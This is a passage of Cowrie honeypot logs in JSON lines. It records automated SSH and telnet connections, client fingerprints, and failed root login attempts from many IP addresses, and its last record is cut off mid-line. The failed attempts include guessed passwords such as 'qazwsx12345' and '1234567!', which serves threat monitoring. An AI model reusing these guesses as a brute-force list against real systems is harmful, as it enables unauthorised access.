{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:50:de:98:99:4e:fe:fd:5f:a7:41:5c:57:04:d7:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV7JHI/XP2MV5QJTkYnCzmQJBu2iuoXJAYEG/55j/4yADSTWjYogxIaBUiXdAIXfgdxzgfevsdQFlhOdgnfxtCpx81oBql/YhX3FA9f3UvbNeQ3osVdfLjvmGzvIMaI3ZNZAepLEzDJ37x/27Mhi14Gh93L5XJ+x8KtOcGfNDuwCNpmnCxY7f/VD6D7HkjvRfwi2sJIWnHY+0dvmgC9A8o666yQhEsqdd0jdWkgW24Zr+IMuNyIyet6aQyuKqr4OjfukNY5qGEBhG4++zYAv4pvNB2vw3nmh8AFZVLeFdrFOFaCykWc65swTYpdxd+NP/R5SSDh2LjtoZ8bdqG0JBt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.244572Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:58:f6:7e:e6:fa:bf:ed:aa:2c:8d:ab:c2:13:f6:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyFyG59C7XEqcgx97NG987B0Lfblt+dZzfteGy//rw4lehJmlDGAjOEaMpH96QGohBf/pX8Nzk+VEzi9mGhDYNvNQB97bGYhvfZoqsa3eYHTxJsmW6JvETjJqaDuFj4k2xVcxxF09mi7smOMRhdKH8MH5fxAHDthXrF7JgwvjNmMqzTXygUvqtXjinrAEuV6YcOcvbfcWmyZNf5pLf7o5ET3x6TpGFfY5CinPJTUYxgMtnJR2nrc1SStUg61G65Y9dgaN+ThIPcGl3lENIHXhC0JQiEWULPYPwChC1Bm0j5uQ/ISbBS2teOWYJLRuKYzpZ8rYp7pM7zHAqJY3xfAVUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:58:f6:7e:e6:fa:bf:ed:aa:2c:8d:ab:c2:13:f6:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.272327Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:58:f6:7e:e6:fa:bf:ed:aa:2c:8d:ab:c2:13:f6:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyFyG59C7XEqcgx97NG987B0Lfblt+dZzfteGy//rw4lehJmlDGAjOEaMpH96QGohBf/pX8Nzk+VEzi9mGhDYNvNQB97bGYhvfZoqsa3eYHTxJsmW6JvETjJqaDuFj4k2xVcxxF09mi7smOMRhdKH8MH5fxAHDthXrF7JgwvjNmMqzTXygUvqtXjinrAEuV6YcOcvbfcWmyZNf5pLf7o5ET3x6TpGFfY5CinPJTUYxgMtnJR2nrc1SStUg61G65Y9dgaN+ThIPcGl3lENIHXhC0JQiEWULPYPwChC1Bm0j5uQ/ISbBS2teOWYJLRuKYzpZ8rYp7pM7zHAqJY3xfAVUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.276081Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.305781Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52992,"dst_ip":"159.203.135.109","dst_port":22,"session":"80f586ddc3fb","protocol":"ssh","message":"New connection: 103.15.222.183:52992 (159.203.135.109:22) [session: 80f586ddc3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.542488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.546846Z","src_ip":"103.15.222.183","session":"80f586ddc3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.792663Z","src_ip":"103.15.222.183","session":"80f586ddc3fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopq","message":"login attempt [root/qwertyuiopq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:38.530444Z","src_ip":"103.15.222.183","session":"80f586ddc3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":52770,"dst_ip":"159.203.135.109","dst_port":22,"session":"a83895ec16e9","protocol":"ssh","message":"New connection: 103.77.175.15:52770 (159.203.135.109:22) [session: a83895ec16e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:38.992326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:38.997497Z","src_ip":"103.77.175.15","session":"a83895ec16e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0010769367218,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:39.155355Z","src_ip":"152.42.224.71","session":"0c1df8e24af4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:39.250312Z","src_ip":"103.77.175.15","session":"a83895ec16e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:39.777222Z","src_ip":"103.15.222.183","session":"80f586ddc3fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx12345","message":"login attempt [root/qazwsx12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:40.016265Z","src_ip":"103.77.175.15","session":"a83895ec16e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57302,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d873070b3b","protocol":"telnet","message":"New connection: 152.42.224.71:57302 (10.17.0.5:23) [session: f0d873070b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:40.078894Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":49892,"dst_ip":"10.17.0.5","dst_port":22,"session":"d747d1b08311","protocol":"ssh","message":"New connection: 171.244.37.103:49892 (10.17.0.5:22) [session: d747d1b08311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:40.578968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:40.582080Z","src_ip":"171.244.37.103","session":"d747d1b08311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:40.825891Z","src_ip":"171.244.37.103","session":"d747d1b08311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:41.276576Z","src_ip":"103.77.175.15","session":"a83895ec16e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":60718,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ac2e273f742","protocol":"ssh","message":"New connection: 79.117.24.180:60718 (10.17.0.5:22) [session: 3ac2e273f742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:41.730354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:41.734692Z","src_ip":"79.117.24.180","session":"3ac2e273f742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sofien","message":"login attempt [root/sofien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:41.835454Z","src_ip":"171.244.37.103","session":"d747d1b08311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:41.842461Z","src_ip":"79.117.24.180","session":"3ac2e273f742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwas3DcxZ21","message":"login attempt [root/Qwas3DcxZ21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:42.286269Z","src_ip":"79.117.24.180","session":"3ac2e273f742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:43.084620Z","src_ip":"171.244.37.103","session":"d747d1b08311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:43.392683Z","src_ip":"79.117.24.180","session":"3ac2e273f742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57306,"dst_ip":"10.17.0.5","dst_port":23,"session":"7922ab2fff7f","protocol":"telnet","message":"New connection: 152.42.224.71:57306 (10.17.0.5:23) [session: 7922ab2fff7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:44.122432Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57150,"dst_ip":"10.17.0.5","dst_port":23,"session":"d01479958bf5","protocol":"telnet","message":"New connection: 152.42.224.71:57150 (10.17.0.5:23) [session: d01479958bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:51.923098Z"}
{"eventid":"cowrie.session.closed","duration":82.63195085525513,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:56.770617Z","src_ip":"152.42.224.71","session":"b2da35ff165c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34782,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6748dfbe01e","protocol":"telnet","message":"New connection: 152.42.224.71:34782 (10.17.0.5:23) [session: e6748dfbe01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:00.068739Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35992,"dst_ip":"159.203.135.109","dst_port":22,"session":"e95060f95a45","protocol":"ssh","message":"New connection: 89.108.118.91:35992 (159.203.135.109:22) [session: e95060f95a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:02.435211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:02.440270Z","src_ip":"89.108.118.91","session":"e95060f95a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:02.582185Z","src_ip":"89.108.118.91","session":"e95060f95a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567!","message":"login attempt [root/1234567!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:03.012151Z","src_ip":"89.108.118.91","session":"e95060f95a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.6649169921875,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:03.903142Z","src_ip":"152.42.224.71","session":"8268eeea8e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:04.156981Z","src_ip":"89.108.118.91","session":"e95060f95a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:07.461073Z","src_ip":"46.19.67.181","session":"fa29a5a0fadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":36692,"dst_ip":"10.17.0.5","dst_port":22,"session":"767e08198ebe","protocol":"ssh","message":"New connection: 103.77.242.62:36692 (10.17.0.5:22) [session: 767e08198ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:08.070683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:08.074997Z","src_ip":"103.77.242.62","session":"767e08198ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:08.312627Z","src_ip":"103.77.242.62","session":"767e08198ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a730991","message":"login attempt [root/a730991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:09.027326Z","src_ip":"103.77.242.62","session":"767e08198ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:10.267514Z","src_ip":"103.77.242.62","session":"767e08198ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":60362,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdf1cdc184c5","protocol":"ssh","message":"New connection: 43.156.63.254:60362 (10.17.0.5:22) [session: bdf1cdc184c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:12.964858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:12.969872Z","src_ip":"43.156.63.254","session":"bdf1cdc184c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@